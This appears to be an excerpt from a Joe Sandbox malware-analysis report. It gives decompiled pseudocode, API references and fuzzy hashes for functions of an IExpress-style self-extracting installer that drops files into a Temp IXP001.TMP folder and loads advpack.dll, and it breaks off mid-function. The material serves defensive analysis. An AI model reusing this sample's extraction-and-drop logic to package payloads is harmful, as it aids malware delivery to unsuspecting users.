0x01096495
0x01096495
0x010964a0
0x010964a7
0x010964ab
0x010964bd
0x010964c2
0x010964d3
0x010964df
0x010964e8
0x01096502
0x010964ee
0x010964f9
0x010964f9
0x01096516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 010964DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 010964F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 01096502

Strings

advpack.dll, xrefs: 010964C2, 010964CD, 01096501
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 010964AC

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$advpack.dll
API String ID: 438848745-1655358546
Opcode ID: cefa56c9adaccc9a41143e91bfb494c7aab4cc14815ef16e40850e92783e975a
Instruction ID: 4915394003c2ce906b7e31b5ae4b2573182bbb5646d716b663a39799acdc332e
Opcode Fuzzy Hash: cefa56c9adaccc9a41143e91bfb494c7aab4cc14815ef16e40850e92783e975a
Instruction Fuzzy Hash: 7801D170A00108ABDF60EB64DC69AEE7778EBA5310F400199F5C9931C4DF76AE86DB50

Uniqueness

Uniqueness Score: -1.00%

Function 010928E8 Relevance: 7.6, APIs: 5, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010928E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E01092773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E01092A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E01092A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x010928f1
0x010928f4
0x010928f7
0x010928f9
0x010928fc
0x010928ff
0x01092901
0x01092907
0x01092a62
0x01092a64
0x0109290d
0x0109290d
0x0109290f
0x01092912
0x01092920
0x01092937
0x00000000
0x00000000
0x01092944
0x0109294a
0x0109294f
0x01092a2f
0x01092a32
0x01092a34
0x01092a37
0x01092a41
0x00000000
0x00000000
0x01092955
0x0109295e
0x01092962
0x01092969
0x0109296f
0x01092974
0x0109298c
0x01092a20
0x01092a21
0x01092a27
0x01092a4c
0x01092a4f
0x01092a50
0x01092a53
0x01092a56
0x01092a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x010929b2
0x010929b2
0x010929b5
0x010929bd
0x010929c3
0x010929cc
0x010929d5
0x010929d7
0x010929da
0x010929dd
0x010929df
0x010929ec
0x010929f8
0x010929fc
0x010929ff
0x01092a02
0x01092a07
0x01092a0a
0x01092a0f
0x01092a19
0x01092a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x01092a0f
0x0109298c
0x01092974
0x01092962
0x00000000
0x0109294f
0x01092912
0x01092a65
0x01092a68
0x01092a6c
0x01092a6f
0x01092a6f
0x01092a7d

APIs

GlobalFree.KERNEL32 ref: 01092A6F

Part of subcall function 01092773: CharUpperA.USER32(08A9C601,00000000,00000000,00000000), ref: 010927A8
Part of subcall function 01092773: CharNextA.USER32(0000054D), ref: 010927B5
Part of subcall function 01092773: CharNextA.USER32(00000000), ref: 010927BC
Part of subcall function 01092773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01092829
Part of subcall function 01092773: RegQueryValueExA.ADVAPI32(?,01091140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01092852
Part of subcall function 01092773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01092870
Part of subcall function 01092773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010928A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,01093938,?,?,?,?,-00000005), ref: 01092958
GlobalLock.KERNEL32 ref: 01092969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,01093938,?,?,?,?,-00000005,?), ref: 01092A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 01092A81

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: d0d4c63b149a0b39e050482643c47bb36a22b90d4cdad6eaed81504bb7595d50
Instruction ID: ae66c218f94a43ef4e042bec08ad05320b38bef281496d4fe2e387080b24380e
Opcode Fuzzy Hash: d0d4c63b149a0b39e050482643c47bb36a22b90d4cdad6eaed81504bb7595d50
Instruction Fuzzy Hash: A0513B32E00219EFDF21DF98C894AAEFBB5FF48700F14416AE995E3211D7399941EB94

Uniqueness

Uniqueness Score: -1.00%

Function 01094169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E01094169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E0109468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E0109468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E010944B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E010944B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x0109417d
0x0109418f
0x01094193
0x010941b7
0x010941d3
0x010941e6
0x00000000
0x010941e7
0x010941d5
0x010941d6
0x010941d8
0x010941d9
0x010941da
0x010941df
0x010941e1
0x00000000
0x010941e1
0x010941b9
0x010941ba
0x010941bc
0x010941bd
0x010941be
0x00000000
0x010941be
0x00000000

APIs

Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946A0
Part of subcall function 0109468F: SizeofResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946A9
Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946C3
Part of subcall function 0109468F: LoadResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946CC
Part of subcall function 0109468F: LockResource.KERNEL32(00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946D3
Part of subcall function 0109468F: memcpy_s.MSVCRT ref: 010946E5
Part of subcall function 0109468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010946EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,010930B4), ref: 01094189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,010930B4), ref: 010941E7

Part of subcall function 010944B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01094518
Part of subcall function 010944B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 01094554

Strings

FINISHMSG, xrefs: 01094173, 010941AB
<None>, xrefs: 010941C5

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: b2118df622176e7bb2734d2f58594d96cabb9043876947deece0b68ca8249b9e
Instruction ID: 64b6b7643a5c420466d9e916c6691853ae3ca4f8b7c4326551c36a7542594f05
Opcode Fuzzy Hash: b2118df622176e7bb2734d2f58594d96cabb9043876947deece0b68ca8249b9e
Instruction Fuzzy Hash: AC0121F1300215BBFF2426698EB4FBB218EEBD8695F008025B7C1E2280DE68CC0221B4

Uniqueness

Uniqueness Score: -1.00%

Function 01097155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01097155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0x1098004; // 0x8a9c601
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0x1098004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0x1098004 = _t39;
				}
				_t37 =  !_t36;
				 *0x1098008 = _t37;
				return _t37;
			}

0x0109715d
0x01097161
0x01097165
0x01097178
0x01097182
0x0109718e
0x01097197
0x010971a0
0x010971b1
0x010971b8
0x010971c4
0x010971c7
0x010971cb
0x010971d5
0x010971da
0x010971da
0x010971dc
0x010971dc
0x010971e2
0x010971e5
0x010971ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 01097182
GetCurrentProcessId.KERNEL32 ref: 01097191
GetCurrentThreadId.KERNEL32 ref: 0109719A
GetTickCount.KERNEL32 ref: 010971A3
QueryPerformanceCounter.KERNEL32(?), ref: 010971B8

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: fb819c99be24f189c95223be8be839a8a9651e1fdb743c4f7016273605e2f422
Instruction ID: 6f895dfef22aa0e1bfbd384ab8b1b3942168c944b06033ef5541a8fec32e3104
Opcode Fuzzy Hash: fb819c99be24f189c95223be8be839a8a9651e1fdb743c4f7016273605e2f422
Instruction Fuzzy Hash: B1113AB1E11208DBCF60DFB8D668A9EBBF5FF48314F614896E841E7204E6399A00DF40

Uniqueness

Uniqueness Score: -1.00%

Function 010919E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E010919E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0x1098004; // 0x8a9c601
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E010943D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0x1099a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E01096CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x010919e0
0x010919e0
0x010919eb
0x010919f2
0x010919f9
0x010919fc
0x01091a01
0x01091a2a
0x01091a2e
0x01091a3e
0x01091a4f
0x01091a62
0x01091a6a
0x00000000
0x01091a03
0x01091a06
0x01091a20
0x01091a20
0x01091a08
0x01091a08
0x01091a14
0x00000000
0x01091a16
0x01091a18
0x01091a70
0x01091a72
0x01091a72
0x01091a14
0x01091a06
0x01091a81

APIs

EndDialog.USER32(?,?), ref: 01091A18
GetDesktopWindow.USER32 ref: 01091A24
LoadStringA.USER32(?,?,00000200), ref: 01091A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 01091A62
MessageBeep.USER32(000000FF), ref: 01091A6A

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 7b3ca437dbc5d029e836bc905fa66ab9e8dabe08cd8e9b28ae065d31e8698e91
Instruction ID: 7ca9b3428ea5930eb7b95d4259c039ca03282a00c378498dea2ebb6de031594d
Opcode Fuzzy Hash: 7b3ca437dbc5d029e836bc905fa66ab9e8dabe08cd8e9b28ae065d31e8698e91
Instruction Fuzzy Hash: A511827170010AABDF20DF68D928AAE77F8FB49250F108155E9A293184DA399E01DB95

Uniqueness

Uniqueness Score: -1.00%

Function 010963C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E010963C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0x1098004; // 0x8a9c601
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E01091781( &_v268, 0x104, __ecx, "C:\Users\alfons\AppData\Local\Temp\IXP001.TMP\");
				E0109658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0x1099124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0x1099124 = 0x80070052;
					_t37 = 0;
				}
				return E01096CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x010963cb
0x010963d2
0x010963d8
0x010963ea
0x010963f3
0x01096401
0x01096402
0x01096410
0x01096415
0x01096433
0x01096438
0x01096449
0x01096463
0x0109646d
0x01096477
0x01096477
0x0109647a
0x0109643a
0x0109643a
0x01096444
0x01096444
0x01096492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0109642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0109645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0109647A

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 010963EB

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 1065093856-2356899610
Opcode ID: 06874f86ff77979dde7773ed48bca147aa5eb212db4294e83486cbe4182b1ace
Instruction ID: 9ad6e0eec24bea500fdbf57f44e9689939fa5ee6b56b9bba19bfdf10c351dcad
Opcode Fuzzy Hash: 06874f86ff77979dde7773ed48bca147aa5eb212db4294e83486cbe4182b1ace
Instruction Fuzzy Hash: 9121D5B1A0021CABDB20DF65DC95FEB77B8FB89314F0041A9F5D5A3240DAB65D848F64

Uniqueness

Uniqueness Score: -1.00%

Function 010947E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010947E0(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E01091680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0x10991e0; // 0xd18308
						 *(_t34 + 4) = _t11;
						 *0x10991e0 = _t34;
						return 1;
					}
					_t25 =  *0x1098584; // 0x0
					E010944B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0x1098584; // 0x0
				E010944B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x010947e8
0x010947f0
0x010947f4
0x0109480f
0x01094811
0x01094814
0x01094814
0x01094816
0x01094817
0x01094829
0x0109482b
0x0109482f
0x0109484f
0x01094852
0x01094855
0x01094855
0x01094857
0x01094858
0x01094860
0x01094865
0x0109486a
0x0109486f
0x00000000
0x01094876
0x01094831
0x01094841
0x01094847
0x0109480b
0x00000000
0x0109480b
0x010947f6
0x01094806
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,01094E6F), ref: 010947EA
LocalAlloc.KERNEL32(00000040,?), ref: 01094823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 01094847

Part of subcall function 010944B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01094518
Part of subcall function 010944B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 01094554

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 01094851

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 359063898-2356899610
Opcode ID: d17749bbd7db96ed1dd3fb7e4b4ecc71443ff7e67e7072ca1874a6db9f0c03ef
Instruction ID: f5f00e05f6176c833691178ec6b951f69ed076207d2e1eb14bd9a1e5f8632a63
Opcode Fuzzy Hash: d17749bbd7db96ed1dd3fb7e4b4ecc71443ff7e67e7072ca1874a6db9f0c03ef
Instruction Fuzzy Hash: 8C1106B5604641AFDF658E249938FBB3B9AFBC6340B048559F9C2CB345DA3A8807D760

Uniqueness

Uniqueness Score: -1.00%

Function 01096517 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E01096517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0x1099a3c; // 0x1090000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E010944B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x0109651f
0x0109652a
0x01096534
0x0109656b
0x01096577
0x0109657c
0x01096536
0x0109653e
0x01096542
0x00000000
0x01096544
0x01096547
0x0109654c
0x01096549
0x01096549
0x01096549
0x0109655e
0x01096560
0x01096569
0x00000000
0x00000000
0x01096569
0x01096542
0x01096587

APIs

FindResourceA.KERNEL32(01090000,000007D6,00000005), ref: 0109652A
LoadResource.KERNEL32(01090000,00000000,?,?,01092EE8,00000000,010919E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 01096538
DialogBoxIndirectParamA.USER32(01090000,00000000,00000547,010919E0,00000000), ref: 01096557
FreeResource.KERNEL32(00000000,?,?,01092EE8,00000000,010919E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 01096560

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 2f4745317c91ce0d1db58eb30ad03852bff464516183b2ec4e69fb8d1fb13d8e
Instruction ID: 21cf1bce7c6a814918371ab530f5a892fce8c721486c6f53bf6b632cfe63fa9b
Opcode Fuzzy Hash: 2f4745317c91ce0d1db58eb30ad03852bff464516183b2ec4e69fb8d1fb13d8e
Instruction Fuzzy Hash: C801D672200615BBDF215E699C68DBB7AACFB85761F000169FE9093148DB7BCD1097A0

Uniqueness

Uniqueness Score: -1.00%

Function 01093680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01093680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x0109368c
0x0109368f
0x01093691
0x0109369f
0x010936a7
0x00000000
0x00000000
0x010936ba
0x00000000
0x010936bc
0x010936bc
0x010936c0
0x010936cb
0x010936c2
